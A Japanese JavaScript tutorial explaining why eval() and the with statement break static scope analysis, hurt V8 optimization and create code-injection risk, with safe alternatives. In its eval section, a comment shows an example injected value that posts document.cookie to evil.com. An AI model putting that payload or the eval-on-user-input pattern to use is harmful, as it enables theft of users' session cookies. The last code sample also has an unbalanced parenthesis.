こんにちは!フロントエンドからNode.jsの深層まで、JavaScriptの生態系を隅々まで知り尽くしたチーフアーキテクトの私です。
今回は、JavaScriptの歴史の中でも「パンドラの箱」として恐れられ、現代のモダン開発では絶対に封印すべきとされている2つの禁断の構文、`eval()`と`with`文についてお話しします。
「他の言語から来たけれど、動的にコードを組み立てられたら便利そう」「なぜリファレンス本には『使ってはいけない』とばかり書いてあるんだろう?」そんな疑問を持ったことはありませんか?
ここをクリアすると、JavaScriptが内部でどうやってコードを最適化し、安全性を保っているのかという「ランタイムの本質」がバッチリ見えてきますよ。さあ、一緒にその深淵を覗いてみましょう!
—
1. そもそもスコープチェーンって何だっけ?
JavaScriptが変数を見つけるとき、現在地(ローカルスコープ)から外側、さらにその外側へと階段を上るように探していく仕組みを「スコープチェーン」と呼びますよね。
通常、V8などのJavaScriptエンジンはこのスコープチェーンを「静的(Lexical:レキシカル)」に解析します。つまり、コードを書いた時点で「どの変数がどこにあるか」が完全に決まっているため、エンジンは事前に最適化の準備ができるのです。
しかし、`eval()`と`with`文は、この静的な世界を根底から破壊し、実行時(ランタイム)にスコープをめちゃくちゃにしてしまいます。これが、パフォーマンスと安全性の両面で大問題を引き起こす理由です。
—
2. eval():何でも実行できる魔術の代償
まずは `eval()` から見ていきましょう。
`eval()` は、引数に渡した文字列を、まるで最初からそこに書いてあったかのようにその場でJavaScriptコードとして実行してしまう関数です。
基本的な使い方とコードの意味
// 文字列としてコードを動的に生成して実行する
const x = 10;
const y = 20;
// 文字列 “x + y” がコードとして評価される
const result = eval(‘x + y’);
console.log(result); // 30 と出力されます
一見、「文字列からコードを作れるなんて魔法のようだ!」と思いますよね。しかし、これがV8エンジンの最適化を完全に殺してしまう原因になります。
なぜ `eval()` は最適化を不可能にするのか?
エンジンは、変数がどこにあるかを事前に特定することで、メモリ上のアクセスを極限まで高速化(インラインキャッシュなどの最適化)しています。
しかし、`eval()` の中に何が書かれているかは、実際にそのコードが実行される瞬間まで誰にも分かりません。もしかしたら、`eval()` の中で「今ある変数をすべて書き換えてやる!」というコードが実行されるかもしれないからです。
そのため、エンジンは「`eval()` が使われている場所では、事前の最適化をすべて諦め、安全のためにその都度ノロノロと変数を探しに行こう…」と判断せざるを得なくなります。結果として、アプリケーション全体のパフォーマンスがガクンと落ちてしまうのです。
セキュリティ上の致命傷:コードインジェクション
パフォーマンス低下だけならまだしも、`eval()` の最大の罪はセキュリティの穴です。もしユーザーが入力した値(フォームの入力内容やURLのクエリパラメータなど)をそのまま `eval()` に渡してしまったらどうなるでしょう?
// ⚠️ 絶対に真似してはいけないアンチパターン
function calculateUserQuery(userQuery) {
// もし userQuery に悪意あるコードが含まれていた場合…
return eval(userQuery);
}
// ユーザーがブラウザのデータを盗み出すコードを送り込んできたとする
// userQuery = “fetch(‘https://evil.com/steal’, { method: ‘POST’, body: document.cookie })”
このように、外部からの入力をそのままコードとして実行してしまう脆弱性をコードインジェクションと呼びます。アプリが乗っ取られたり、ユーザーの機密情報が流出したりする大惨事に直結するため、現代の開発では `eval()` の使用はご法度とされているのです。
—
3. with文:スコープを意図的に歪める厄介者
次に、`with` 文です。
`with` 文は、長ったらしいオブジェクトのプロパティアクセスを省略するために作られた構文です。
基本的な使い方とコードの意味
const user = {
name: ‘Taro’,
age: 28,
location: ‘Tokyo’
};
// with文を使うと、オブジェクトのプロパティ名を省略できる
with (user) {
console.log(name); // ‘Taro’ と出力される
console.log(age); // 28 と出力される
console.log(location); // ‘Tokyo’ と出力される
}
一見すると、「タイポが減って便利そう」に見えるかもしれません。しかし、これもスコープチェーンを破壊する危険な機能です。
`with` 文が引き起こすカオスと文法エラー
`with` 文の中に入ると、指定したオブジェクトのプロパティが、勝手にそのブロック内のローカル変数としてスコープの最前列に強制追加されます。
これにより、コードの読み手が「この変数はどこから来ているんだ?」を静的に追跡できなくなります。さらに最悪なのは、次のような「予期せぬバグ(または名前の衝突)」を引き起こすことです。
let message = ‘グローバルなメッセージ’;
const settings = {
// たまたま message というプロパティを持っていたとする
message: ‘設定側のメッセージ’
};
with (settings) {
// 開発者は外側の let message を使いたいつもりかもしれないが…
console.log(message); // 結果は ‘設定側のメッセージ’ になってしまう!
}
さらに、`with` 文はコードの解析を極めて困難にするため、厳格モード(`use strict`)では構文エラー(SyntaxError)として完全に禁止されています。モダンなJavaScript環境では、`with` を書いた時点でプログラムすら動かない仕組みになっているのです。
—
4. 現代開発における正しいアプローチ
「じゃあ、動的にオブジェクトのプロパティを展開したいときはどうすればいいの?」
「複雑な式を動的に計算させたいときは?」
ご安心ください。現代のJavaScriptには、安全で高速な代替手段がしっかりと用意されています。
代替案①:`eval()` の代わりに「安全なパーサー」を使う
もし数式を動的に計算させたいのであれば、`eval()` を使うのではなく、安全な数式パーライブラリ(math.jsなど)を使用するか、あらかじめ定義されたロジックのマップ(オブジェクトのディスパッチテーブル)を使いましょう。
// 安全な設計の例:あらかじめ許可された演算だけをオブジェクトの関数として定義する
const operations = {
add: (a, b) => a + b,
sub: (a, b) => a – b
};
function calculate(opName, a, b) {
const operation = operations[opName];
if (!operation) {
throw new Error(‘無効な演算子です’);
}
return operation(a, b);
}
console.log(calculate(‘add’, 10, 20); // 30
代替案②:`with` の代わりに「分割代入(Destructuring)」を使う
`with` 文でオブジェクトのプロパティを省略したかった目的は、モダンなES6の分割代入を使えば、安全かつ明示的に実現できます。
const user = {
name: ‘Taro’,
age: 28,
location: ‘Tokyo’
};
// 分割代入なら、どのスコープから変数を取り出しているかが一目瞭然!
const { name, age, location } = user;
console.log(name); // ‘Taro’
console.log(age); // 28
console.log(location); // ‘Tokyo’
これなら、V8エンジンの最適化を妨げることもありませんし、コードの可読性も抜群に上がりますよね。
—
まとめ:言語の「暗部」を知り、美しく安全なコードを書こう
今回は、JavaScriptのスコープチェーンを破壊する `eval()` と `with` 文について、ランタイムの最適化やセキュリティの観点から深掘りしました。
- `eval()` は、何が実行されるか分からないため最適化を殺し、コードインジェクションの致命的脆弱性を生む。
- `with` 文は、スコープを勝手に歪めて変数の出所を曖昧にし、厳格モードでは文法エラーになる。
- 現代開発では、分割代入や安全なロジック設計(マッピング)でエレガントに代替する。
JavaScriptという言語の歴史的な背景や、ブラウザのエンジン(V8)が裏側でどう動いているかを知ると、日頃書くコードの「1行の重み」が変わってきます。
ここをクリアしたあなたなら、もう変数やスコープの挙動で迷うことはありません。ぜひ、安全でモダンな美しいコードを書き進めていってくださいね。応援しています!